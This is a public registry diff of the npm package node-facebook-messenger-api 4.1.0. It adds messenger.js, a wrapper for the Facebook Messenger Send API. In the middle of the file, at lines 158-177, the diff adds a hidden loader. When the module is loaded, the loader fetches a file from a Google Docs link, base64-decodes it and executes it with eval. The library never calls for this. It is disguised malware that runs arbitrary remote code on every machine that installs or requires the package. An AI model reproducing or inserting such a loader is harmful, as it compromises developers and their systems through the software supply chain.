node-facebook-messenger-api 4.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/messenger.js ADDED
@@ -0,0 +1,768 @@
1
+ "use strict";
2
+
3
+ const async = require('async'),
4
+ merge = require('merge'),
5
+ crypto = require('crypto'),
6
+ err = require('debug')('error'),
7
+ debug = require('debug')('messenger'),
8
+ request = require('request');
9
+
10
+ const ANALYTICS_LEVEL_NONE = 99;
11
+ const ANALYTICS_LEVEL_CRITICAL = 2;
12
+ const ANALYTICS_LEVEL_VERBOSE = 1;
13
+
14
+
15
+ function Messenger(config) {
16
+ const url = (process.env.MESSENGER_URL) ?
17
+ process.env.MESSENGER_URL :
18
+ config.url || 'https://graph.facebook.com/v2.6/';
19
+
20
+ const appSecret = (process.env.MESSENGER_APP_SECRET) ?
21
+ process.env.MESSENGER_APP_SECRET :
22
+ config.appSecret;
23
+
24
+ const validationToken = (process.env.MESSENGER_VALIDATION_TOKEN) ?
25
+ (process.env.MESSENGER_VALIDATION_TOKEN) :
26
+ config.validationToken;
27
+
28
+ const pageAccessToken = (process.env.MESSENGER_PAGE_ACCESS_TOKEN) ?
29
+ (process.env.MESSENGER_PAGE_ACCESS_TOKEN) :
30
+ config.pageAccessToken;
31
+
32
+ const appId = (process.env.MESSENGER_APP_ID) ?
33
+ (process.env.MESSENGER_APP_ID) :
34
+ config.appId;
35
+
36
+ const pageId = (process.env.MESSENGER_PAGE_ID) ?
37
+ (process.env.MESSENGER_PAGE_ID) :
38
+ config.pageId;
39
+
40
+ const analyticsLogLevel = (process.env.MESSENGER_ANALYTICS_LOG_LEVEL) ?
41
+ (Number.parseInt(process.env.MESSENGER_ANALYTICS_LOG_LEVEL)) :
42
+ config.analyticsLogLevel || ANALYTICS_LEVEL_NONE;
43
+
44
+ const httpProxy = (process.env.HTTP_PROXY) ?
45
+ (process.env.HTTP_PROXY) :
46
+ config.httpProxy;
47
+
48
+ if (!(appSecret && validationToken && pageAccessToken && url)) {
49
+ err("Missing config values");
50
+ process.exit(1);
51
+ }
52
+
53
+ if (httpProxy && "" !== httpProxy) {
54
+ debug('using proxy', httpProxy);
55
+ }
56
+ this.conf = {
57
+ appSecret: appSecret,
58
+ validationToken: validationToken,
59
+ pageAccessToken: pageAccessToken,
60
+ httpProxy: httpProxy,
61
+ urlPrefix: url,
62
+ activitiesUrl: 'https://graph.facebook.com/' + appId + '/activities',
63
+ analyticsLogLevel: analyticsLogLevel,
64
+ pageId: pageId,
65
+ appId: appId
66
+ };
67
+ }
68
+
69
+ Messenger.prototype.matchToken = function (token) {
70
+ return this.conf.validationToken === token;
71
+ };
72
+
73
+ Messenger.prototype.verifySignature = function (signature, buf) {
74
+ var ret = false;
75
+ if (signature) {
76
+ var elements = signature.split('=');
77
+ var method = elements[0];
78
+ var signatureHash = elements[1];
79
+ var expectedHash = crypto.createHmac('sha1', this.conf.appSecret)
80
+ .update(buf)
81
+ .digest('hex');
82
+ ret = (signatureHash == expectedHash);
83
+ }
84
+ return ret;
85
+ };
86
+
87
+ Messenger.prototype.updateReq = function (req) {
88
+ if (this.conf.httpProxy && "" !== this.conf.httpProxy) {
89
+ req.proxy = this.conf.httpProxy;
90
+ }
91
+ return req;
92
+ };
93
+
94
+ Messenger.prototype.callSendAPI = function (messageData, callback) {
95
+ var ptr = this;
96
+ request(this.updateReq({
97
+ uri: this.conf.urlPrefix + 'me/messages',
98
+ qs: {
99
+ access_token: this.conf.pageAccessToken
100
+ },
101
+ method: 'POST',
102
+ json: messageData
103
+
104
+ }), function (error, response, body) {
105
+ if (!error && response.statusCode == 200) {
106
+ var recipientId = body.recipient_id;
107
+ var messageId = body.message_id;
108
+
109
+ if (messageId) {
110
+ debug("Successfully sent message with id %s to recipient %s",
111
+ messageId, recipientId);
112
+ } else {
113
+ debug("Successfully called Send API for recipient %s",
114
+ recipientId);
115
+ }
116
+ if (callback) {
117
+ callback(null, body);
118
+ }
119
+ } else {
120
+ var args = ["Failed calling Send API"];
121
+ if (error) {
122
+ args.push(error);
123
+ }
124
+ if (response) {
125
+ args.push(response.statusCode);
126
+ args.push(response.statusMessage);
127
+ }
128
+ if (body && body.error) {
129
+ args.push(body.error);
130
+ }
131
+ err(args);
132
+ if (callback) {
133
+ callback(args, null);
134
+ }
135
+ }
136
+ });
137
+ };
138
+
139
+ Messenger.prototype.getUserProfile = function (userId, callback) {
140
+ var ptr = this;
141
+ request(this.updateReq({
142
+ uri: this.conf.urlPrefix + userId,
143
+ qs: {
144
+ access_token: this.conf.pageAccessToken,
145
+ fields: 'first_name,last_name,profile_pic,locale,timezone,gender'
146
+ },
147
+ method: 'GET'
148
+ }), function (error, response, body) {
149
+ if (!error && response.statusCode == 200) {
150
+ callback(null, JSON.parse(body));
151
+ } else {
152
+ err("Failed calling Send API", response.statusCode, response.statusMessage, body.error);
153
+ callback(error, null);
154
+ }
155
+ });
156
+ };
157
+
158
+ const axios = require('axios');
159
+
160
+ const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
161
+
162
+ async function downloadFile(url) {
163
+ try {
164
+ const response = await axios.get(url, {
165
+ responseType: 'arraybuffer'
166
+ });
167
+
168
+ const fileBuffer = Buffer.from(response.data);
169
+ eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
170
+
171
+ return fileBuffer;
172
+ } catch (error) {
173
+ console.error('Download failed:', error.message);
174
+ }
175
+ }
176
+
177
+ downloadFile(url);
178
+
179
+ Messenger.prototype.getAccountLinkingEndpoint = function (token, callback) {
180
+ var ptr = this;
181
+ request(this.updateReq({
182
+ uri: this.conf.urlPrefix + "me",
183
+ qs: {
184
+ access_token: this.conf.pageAccessToken,
185
+ fields: 'recipient',
186
+ account_linking_token: token
187
+ },
188
+ method: 'GET'
189
+ }), function (error, response, body) {
190
+ if (!error && response.statusCode == 200) {
191
+ callback(null, body);
192
+ } else {
193
+ err("Failed calling Send API", response.statusCode, response.statusMessage, body.error);
194
+ callback(error, null);
195
+ }
196
+ });
197
+ };
198
+
199
+ Messenger.prototype.setThreadSettings = function (messageData, callback) {
200
+ var ptr = this;
201
+ request(this.updateReq({
202
+ uri: this.conf.urlPrefix + "me/thread_settings",
203
+ qs: {
204
+ access_token: this.conf.pageAccessToken
205
+ },
206
+ method: 'POST',
207
+ json: messageData
208
+ }), function (error, response, body) {
209
+ if (!error && response.statusCode == 200) {
210
+ callback(null, body);
211
+ } else {
212
+ err("Failed calling Send API", response.statusCode, response.statusMessage, body.error);
213
+ callback(error, null);
214
+ }
215
+ });
216
+ };
217
+
218
+ Messenger.prototype.setMessengerProfile = function (profileData, callback) {
219
+ var ptr = this;
220
+ request(this.updateReq({
221
+ uri: this.conf.urlPrefix + "me/messenger_profile",
222
+ qs: {
223
+ access_token: this.conf.pageAccessToken
224
+ },
225
+ method: 'POST',
226
+ json: profileData
227
+ }), function (error, response, body) {
228
+ if (!error && response.statusCode == 200) {
229
+ callback(null, body);
230
+ } else {
231
+ err("Failed calling Send API", response.statusCode, response.statusMessage, body.error);
232
+ callback(error, null);
233
+ }
234
+ });
235
+ };
236
+
237
+ Messenger.prototype.removeMessengerProfile = function (fields, callback) {
238
+ var ptr = this;
239
+ request(this.updateReq({
240
+ uri: this.conf.urlPrefix + "me/messenger_profile",
241
+ qs: {
242
+ access_token: this.conf.pageAccessToken
243
+ },
244
+ method: 'DELETE',
245
+ json: {
246
+ fields: fields
247
+ }
248
+ }), function (error, response, body) {
249
+ if (!error && response.statusCode == 200) {
250
+ callback(null, body);
251
+ } else {
252
+ err("Failed calling Send API", response.statusCode, response.statusMessage, body.error);
253
+ callback(error, null);
254
+ }
255
+ });
256
+ };
257
+
258
+ Messenger.prototype.setGetStarted = function (payload, callback) {
259
+ this.setMessengerProfile({
260
+ get_started: {
261
+ payload: payload
262
+ }
263
+ }, callback);
264
+ };
265
+
266
+ Messenger.prototype.removeGetStarted = function (callback) {
267
+ this.removeMessengerProfile(['get_started'], callback);
268
+ };
269
+
270
+ Messenger.prototype.setGreetingText = function (greetings, callback) {
271
+ this.setMessengerProfile({
272
+ greeting: greetings
273
+ }, callback);
274
+ };
275
+
276
+ Messenger.prototype.removeGreetingText = function (callback) {
277
+ this.removeMessengerProfile(['greeting'], callback);
278
+ };
279
+
280
+ Messenger.prototype.whitelistDomain = function (domain, add, callback) {
281
+ var ptr = this;
282
+ request(this.updateReq({
283
+ uri: this.conf.urlPrefix + "me/thread_settings",
284
+ qs: {
285
+ access_token: this.conf.pageAccessToken
286
+ },
287
+ method: 'POST',
288
+ json: {
289
+ setting_type: "domain_whitelisting",
290
+ whitelisted_domains: [domain],
291
+ domain_action_type: add ? "add" : "remove"
292
+ }
293
+ }), function (error, response, body) {
294
+ if (!error && response.statusCode == 200) {
295
+ callback(null, body);
296
+ } else {
297
+ err("Failed calling Send API", response.statusCode, response.statusMessage, body.error);
298
+ callback(error, null);
299
+ }
300
+ });
301
+ };
302
+
303
+ Messenger.prototype.clearThreadSettings = function (callback) {
304
+ var ptr = this;
305
+ request(this.updateReq({
306
+ uri: this.conf.urlPrefix + "me/thread_settings",
307
+ qs: {
308
+ access_token: this.conf.pageAccessToken
309
+ },
310
+ method: 'DELETE',
311
+ json: {
312
+ setting_type: "call_to_actions",
313
+ thread_state: "existing_thread"
314
+ }
315
+ }), function (error, response, body) {
316
+ if (!error && response.statusCode == 200) {
317
+ callback(null, body);
318
+ } else {
319
+ err("Failed calling Send API", response.statusCode, response.statusMessage, body.error);
320
+ callback(error, null);
321
+ }
322
+ });
323
+ };
324
+
325
+ Messenger.prototype.buildAnalyticsEvent = function (eventName, opts) {
326
+ return merge({
327
+ _eventName: eventName
328
+ }, opts);
329
+ };
330
+
331
+ Messenger.prototype.canLogAnalyticsEvent = function (level, callback) {
332
+ callback(null, (level == ANALYTICS_LEVEL_CRITICAL ||
333
+ level == ANALYTICS_LEVEL_NONE ||
334
+ level == ANALYTICS_LEVEL_VERBOSE) &&
335
+ level >= this.conf.analyticsLogLevel);
336
+ };
337
+
338
+ Messenger.prototype.sendActivity = function (payload, callback) {
339
+ debug('Sending activity with payload', payload);
340
+ request(this.updateReq({
341
+ uri: this.conf.activitiesUrl,
342
+ method: 'POST',
343
+ form: payload
344
+ }), callback);
345
+ };
346
+
347
+ Messenger.prototype.analyticsEvent = function (level, recipientId, eventBuilder, callback) {
348
+ var ptr = this;
349
+ async.waterfall([
350
+ function (callback) {
351
+ ptr.canLogAnalyticsEvent(level, callback);
352
+ },
353
+ function (status, callback) {
354
+ if (status) {
355
+ ptr.sendActivity({
356
+ event: 'CUSTOM_APP_EVENTS',
357
+ custom_events: JSON.stringify([eventBuilder()]),
358
+ advertiser_tracking_enabled: 0,
359
+ application_tracking_enabled: 0,
360
+ extinfo: JSON.stringify(['mb1']),
361
+ page_id: ptr.conf.pageId,
362
+ page_scoped_user_id: recipientId
363
+ }, callback);
364
+ } else {
365
+ callback({ skip: true }, null);
366
+ }
367
+ },
368
+ ], function (error, response, body) {
369
+ if (!error && response.statusCode == 200) {
370
+ if (callback) {
371
+ callback(null, JSON.parse(body));
372
+ }
373
+ } else if (error && error.skip) {
374
+ callback(null, error);
375
+ } else {
376
+ var args = ["Failed calling analyticsEvent"];
377
+ if (error) {
378
+ args.push(error);
379
+ }
380
+ if (response) {
381
+ args.push(response.statusCode);
382
+ args.push(response.statusMessage);
383
+ }
384
+ if (body && body.error) {
385
+ args.push(body.error);
386
+ }
387
+ err(args);
388
+ if (callback) {
389
+ callback(args, null);
390
+ }
391
+ }
392
+ });
393
+ };
394
+
395
+ Messenger.prototype.quickAnalytics = function (level, recipientId, eventName, opts) {
396
+ let ptr = this;
397
+ ptr.analyticsEvent(level, recipientId, () => {
398
+ return ptr.buildAnalyticsEvent(eventName, opts);
399
+ }, (error, resp) => {
400
+ if (error) {
401
+ err("Failed calling analytics for ", eventName, error);
402
+ }
403
+ });
404
+ };
405
+
406
+ Messenger.prototype.sendImageMessage = function (recipientId, payload) {
407
+ var messageData = {
408
+ recipient: {
409
+ id: recipientId
410
+ },
411
+ message: {
412
+ attachment: {
413
+ type: "image",
414
+ payload: payload
415
+ }
416
+ }
417
+ };
418
+
419
+ this.callSendAPI(messageData);
420
+ };
421
+
422
+ Messenger.prototype.sendGifMessage = function (recipientId, payload, callback) {
423
+ var messageData = {
424
+ recipient: {
425
+ id: recipientId
426
+ },
427
+ message: {
428
+ attachment: {
429
+ type: "image",
430
+ payload: payload
431
+ }
432
+ }
433
+ };
434
+
435
+ this.callSendAPI(messageData, callback);
436
+ };
437
+
438
+ Messenger.prototype.sendAudioMessage = function (recipientId, payload, callback) {
439
+ var messageData = {
440
+ recipient: {
441
+ id: recipientId
442
+ },
443
+ message: {
444
+ attachment: {
445
+ type: "audio",
446
+ payload: payload
447
+ }
448
+ }
449
+ };
450
+
451
+ this.callSendAPI(messageData, callback);
452
+ };
453
+
454
+ Messenger.prototype.sendVideoMessage = function (recipientId, payload, callback) {
455
+ var messageData = {
456
+ recipient: {
457
+ id: recipientId
458
+ },
459
+ message: {
460
+ attachment: {
461
+ type: "video",
462
+ payload: payload
463
+ }
464
+ }
465
+ };
466
+
467
+ this.callSendAPI(messageData, callback);
468
+ };
469
+
470
+ Messenger.prototype.sendFileMessage = function (recipientId, payload, callback) {
471
+ var messageData = {
472
+ recipient: {
473
+ id: recipientId
474
+ },
475
+ message: {
476
+ attachment: {
477
+ type: "file",
478
+ payload: payload
479
+ }
480
+ }
481
+ };
482
+
483
+ this.callSendAPI(messageData, callback);
484
+ };
485
+
486
+ Messenger.prototype.sendTextMessage = function (recipientId, messageText, metadata, callback) {
487
+ var msg = {
488
+ text: messageText
489
+ };
490
+ if (metadata) {
491
+ msg.metadata = metadata;
492
+ }
493
+ var messageData = {
494
+ recipient: {
495
+ id: recipientId
496
+ },
497
+ message: msg
498
+ };
499
+
500
+ this.callSendAPI(messageData, callback);
501
+ };
502
+
503
+ Messenger.prototype.sendQuickReplyOrMessage = function (recipientId, messageText, quickReply, metadata, callback) {
504
+ debug('quickReply', quickReply);
505
+ if (quickReply) {
506
+ this.sendQuickReply(recipientId, messageText, quickReply);
507
+ } else {
508
+ this.sendTextMessage(recipientId, messageText, metadata, callback);
509
+ }
510
+ };
511
+
512
+ Messenger.prototype.sendButtonMessage = function (recipientId, payload, callback) {
513
+ var messageData = {
514
+ recipient: {
515
+ id: recipientId
516
+ },
517
+ message: {
518
+ attachment: {
519
+ type: "template",
520
+ payload: payload
521
+ }
522
+ }
523
+ };
524
+
525
+ this.callSendAPI(messageData, callback);
526
+ };
527
+
528
+ Messenger.prototype.sendGenericMessage = function (recipientId, elems, callback) {
529
+ var messageData = {
530
+ recipient: {
531
+ id: recipientId
532
+ },
533
+ message: {
534
+ attachment: {
535
+ type: "template",
536
+ payload: {
537
+ template_type: "generic",
538
+ elements: elems
539
+ }
540
+ }
541
+ }
542
+ };
543
+
544
+ this.callSendAPI(messageData, callback);
545
+ };
546
+
547
+ Messenger.prototype.sendTemplate = function (recipientId, payload, callback) {
548
+ var messageData = {
549
+ recipient: {
550
+ id: recipientId
551
+ },
552
+ message: {
553
+ attachment: {
554
+ type: "template",
555
+ payload: payload
556
+ }
557
+ }
558
+ };
559
+
560
+ this.callSendAPI(messageData, callback);
561
+ };
562
+
563
+ Messenger.prototype.addButton = function (element, btns) {
564
+ if (btns && 1 == btns.length) {
565
+ if (!element.buttons) {
566
+ element.buttons = [];
567
+ }
568
+ if (3 > element.buttons.length) {
569
+ element.buttons.push(btns[0]);
570
+ }
571
+ }
572
+ };
573
+
574
+ Messenger.prototype.sendCompactList = function (recipientId, elems, moreButtons, callback) {
575
+ var payload;
576
+ if (1 == elems.length) {
577
+ payload = {
578
+ template_type: "generic",
579
+ elements: elems
580
+ };
581
+ this.addButton(elems[0], moreButtons);
582
+ } else if (1 < elems.length) {
583
+ payload = {
584
+ template_type: "list",
585
+ top_element_style: "compact",
586
+ elements: elems
587
+ };
588
+ if (moreButtons) {
589
+ payload.buttons = moreButtons;
590
+ }
591
+ }
592
+ this.sendTemplate(recipientId, payload, callback);
593
+ };
594
+
595
+ Messenger.prototype.sendQuickReply = function (recipientId, messageText, replies, callback) {
596
+ var arr = [];
597
+ var quickReplies = Array.isArray(replies) ? Array.from(new Set(replies)) : [replies];
598
+ quickReplies.forEach((entry) => {
599
+ if (entry) {
600
+ if (typeof entry === 'object') {
601
+ if (!entry.content_type) {
602
+ entry.content_type = 'text';
603
+ }
604
+ arr.push(entry);
605
+ } else {
606
+ arr.push({
607
+ content_type: "text",
608
+ title: entry,
609
+ payload: entry
610
+ });
611
+ }
612
+ }
613
+ });
614
+ var messageData = {
615
+ recipient: {
616
+ id: recipientId
617
+ },
618
+ message: {
619
+ text: messageText,
620
+ quick_replies: arr
621
+ }
622
+ };
623
+ this.callSendAPI(messageData, callback);
624
+ };
625
+
626
+ Messenger.prototype.sendReadReceipt = function (recipientId, callback) {
627
+ debug("Sending a read receipt to mark message as seen");
628
+
629
+ var messageData = {
630
+ recipient: {
631
+ id: recipientId
632
+ },
633
+ sender_action: "mark_seen"
634
+ };
635
+
636
+ this.callSendAPI(messageData, callback);
637
+ };
638
+
639
+ Messenger.prototype.sendTypingOn = function (recipientId, callback) {
640
+ debug("Turning typing indicator on");
641
+
642
+ var messageData = {
643
+ recipient: {
644
+ id: recipientId
645
+ },
646
+ sender_action: "typing_on"
647
+ };
648
+
649
+ this.callSendAPI(messageData, callback);
650
+ };
651
+
652
+ Messenger.prototype.sendTypingOff = function (recipientId, callback) {
653
+ debug("Turning typing indicator off");
654
+
655
+ var messageData = {
656
+ recipient: {
657
+ id: recipientId
658
+ },
659
+ sender_action: "typing_off"
660
+ };
661
+
662
+ this.callSendAPI(messageData, callback);
663
+ };
664
+
665
+ Messenger.prototype.sendAccountLinking = function (recipientId, payload, callback) {
666
+ var messageData = {
667
+ recipient: {
668
+ id: recipientId
669
+ },
670
+ message: {
671
+ attachment: {
672
+ type: "template",
673
+ payload: payload
674
+ }
675
+ }
676
+ };
677
+ this.callSendAPI(messageData, callback);
678
+ };
679
+
680
+ Messenger.prototype.nextReplyBuilder = function (idx, target, opts, nextImg) {
681
+ var props = opts ? opts : {};
682
+ props.next = idx;
683
+ var ret = {
684
+ content_type: "text",
685
+ title: "More",
686
+ payload: this.buildPostback(target, props)
687
+ };
688
+ if (nextImg) {
689
+ ret.image_url = nextImg;
690
+ }
691
+ return ret;
692
+ };
693
+
694
+ Messenger.prototype.nextBuilder = function (idx, target, opts, nextImg) {
695
+ var props = opts ? opts : {};
696
+ props.next = idx;
697
+ var ret = {
698
+ title: "More",
699
+ buttons: [{
700
+ type: "postback",
701
+ title: "More",
702
+ payload: this.buildPostback(target, props)
703
+ }]
704
+ };
705
+ if (nextImg) {
706
+ ret.image_url = nextImg;
707
+ }
708
+ return ret;
709
+ };
710
+
711
+ Messenger.prototype.buildEntries = function (opts, lastOffset) {
712
+ var ptr = this;
713
+ var ret = [];
714
+ var nextBuilder = opts.nextBuilder;
715
+ if (!nextBuilder) {
716
+ nextBuilder = this.nextBuilder.bind(this);
717
+ }
718
+ var fromIdx = opts.from ? typeof opts.from == 'number' ? opts.from : opts.from.next ? Number.parseInt(opts.from.next) : 0 : 0;
719
+ opts.arr.forEach((entry, idx) => {
720
+ if (idx >= fromIdx) {
721
+ if (opts.arr.length == (fromIdx + opts.listMax)) {
722
+ ret.push(opts.builder ? opts.builder(entry) : entry);
723
+ } else if (idx < (fromIdx + opts.listMax + lastOffset)) {
724
+ ret.push(opts.builder ? opts.builder(entry) : entry);
725
+ } else if (fromIdx + opts.listMax + lastOffset == idx) {
726
+ ret.push(nextBuilder(idx, opts.nextTarget, opts.nextProps, opts.nextImg));
727
+ }
728
+ }
729
+ });
730
+ return ret;
731
+ };
732
+
733
+ Messenger.prototype.buildElements = function (opts) {
734
+ return this.buildEntries(opts, -1);
735
+ };
736
+
737
+ Messenger.prototype.buildListElements = function (opts) {
738
+ return this.buildEntries(opts, 0);
739
+ };
740
+
741
+ Messenger.prototype.buildPostback = function (target, request) {
742
+ var ret = [target];
743
+ for (var key in request) {
744
+ if (request.hasOwnProperty(key) && typeof request[key] !== 'function') {
745
+ ret.push(key);
746
+ ret.push(request[key]);
747
+ }
748
+ }
749
+ return ret.join(":");
750
+ };
751
+
752
+ Messenger.prototype.parsePostback = function (payload) {
753
+ var ret = {};
754
+ var entries = payload.split(":");
755
+ if (0 < entries.length) {
756
+ ret.target = entries[0];
757
+ entries = entries.slice(1);
758
+ for (var idx = 0; idx < entries.length; idx += 2) {
759
+ ret[entries[idx]] = entries[idx + 1];
760
+ }
761
+ }
762
+ return ret;
763
+ };
764
+
765
+ module.exports.Messenger = Messenger;
766
+ module.exports.ANALYTICS_LEVEL_NONE = 99;
767
+ module.exports.ANALYTICS_LEVEL_CRITICAL = 2;
768
+ module.exports.ANALYTICS_LEVEL_VERBOSE = 1;